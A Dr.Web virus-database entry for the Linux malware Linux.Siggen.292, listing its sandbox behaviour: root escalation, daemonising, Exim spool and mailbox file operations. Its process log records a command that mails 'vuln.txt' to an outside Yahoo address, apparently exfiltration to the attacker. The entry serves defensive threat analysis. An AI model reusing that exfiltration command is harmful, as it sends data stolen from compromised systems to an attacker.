Для корректной работы нашего сайта необходимо включить поддержку JavaScript в вашем браузере.
Linux.Siggen.292
Добавлен в вирусную базу Dr.Web:
2017-11-10
Описание добавлено:
2017-11-10
Technical Information
Malicious functions:
Gains root privileges
Launches itself as a daemon
Launches processes:
cat vuln.txt
mail -s ih vrajealla123@yahoo.com
/usr/sbin/sendmail send-mail -i -- vrajealla123@yahoo.com
/usr/sbin/exim4 -Mc 1eD3iU-0000B8-CE
/usr/sbin/exim4 #-E1eD3iU-0000B8-CE
/usr/sbin/exim4 -Mc 1eD3iV-0000BC-EQ
Performs operations with the file system:
Modifies file access rights:
/var/spool/exim4/input/1eD3iU-0000B8-CE-D
/var/spool/exim4/input/hdr.690
/var/spool/exim4/msglog/1eD3iU-0000B8-CE
/var/spool/exim4/input/1eD3iV-0000BC-EQ-D
/var/spool/exim4/input/hdr.694
/var/spool/exim4/input/hdr.692
/var/spool/exim4/msglog/1eD3iV-0000BC-EQ
/var/spool/exim4/input/1eD3iV-0000BC-EQ-J
/var/mail/user
Creates symlinks:
Creates or modifies files:
/tmp/mail.RsXXXXSdf1Lh
/tmp/mail.RsXXXXhsa4Yi
/tmp/mail.RsXXXXhsa4Yi (deleted)
/var/spool/exim4/input//1eD3iU-0000B8-CE-D
/var/spool/exim4/input/1eD3iU-0000B8-CE-D
/var/spool/exim4/input//hdr.690
/var/spool/exim4/input/hdr.690
/var/spool/exim4/msglog//1eD3iU-0000B8-CE
/var/spool/exim4/msglog/1eD3iU-0000B8-CE
/var/log/exim4/mainlog
/var/spool/exim4/db/retry.lockfile
/var/spool/exim4/input//1eD3iV-0000BC-EQ-D
/var/spool/exim4/input/1eD3iV-0000BC-EQ-D
/var/spool/exim4/input//hdr.694
/var/spool/exim4/input/hdr.694
/var/spool/exim4/msglog//1eD3iV-0000BC-EQ
/var/spool/exim4/msglog/1eD3iV-0000BC-EQ
/var/spool/exim4/input//hdr.692
/var/spool/exim4/input/hdr.692
/var/spool/exim4/input//1eD3iV-0000BC-EQ-J
/var/mail/user.lock.box-i386.5a0554cc.000002ba
/var/mail/user
/var/spool/exim4/input/1eD3iV-0000BC-EQ-J
Deletes files:
/tmp/mail.RsXXXXSdf1Lh
/tmp/mail.RsXXXXhsa4Yi
/var/spool/exim4/msglog//1eD3iU-0000B8-CE
/var/spool/exim4/input//1eD3iU-0000B8-CE-D
/var/spool/exim4/input//1eD3iU-0000B8-CE-H
/var/spool/exim4/input//1eD3iU-0000B8-CE-J
/var/mail/user.lock.box-i386.5a0554cc.000002ba
/var/mail/user.lock
/var/spool/exim4/msglog//1eD3iV-0000BC-EQ
/var/spool/exim4/input//1eD3iV-0000BC-EQ-D
/var/spool/exim4/input//1eD3iV-0000BC-EQ-H
/var/spool/exim4/input//1eD3iV-0000BC-EQ-J
Network activity:
Establishes connection:
DNS ASK:
Рекомендации по лечению
Linux
Демо бесплатно
На 1 месяц (без регистрации) или 3 месяца (с регистрацией и скидкой на продление)
Скачайте Dr.Web для Android
Бесплатно на 3 месяца
Все компоненты защиты
Продление демо через AppGallery/Google Pay
Если Вы продолжите использование данного сайта, это означает, что Вы даете согласие на использование нами Cookie-файлов и иных технологий по сбору статистических сведений о посетителях. Подробнее
OK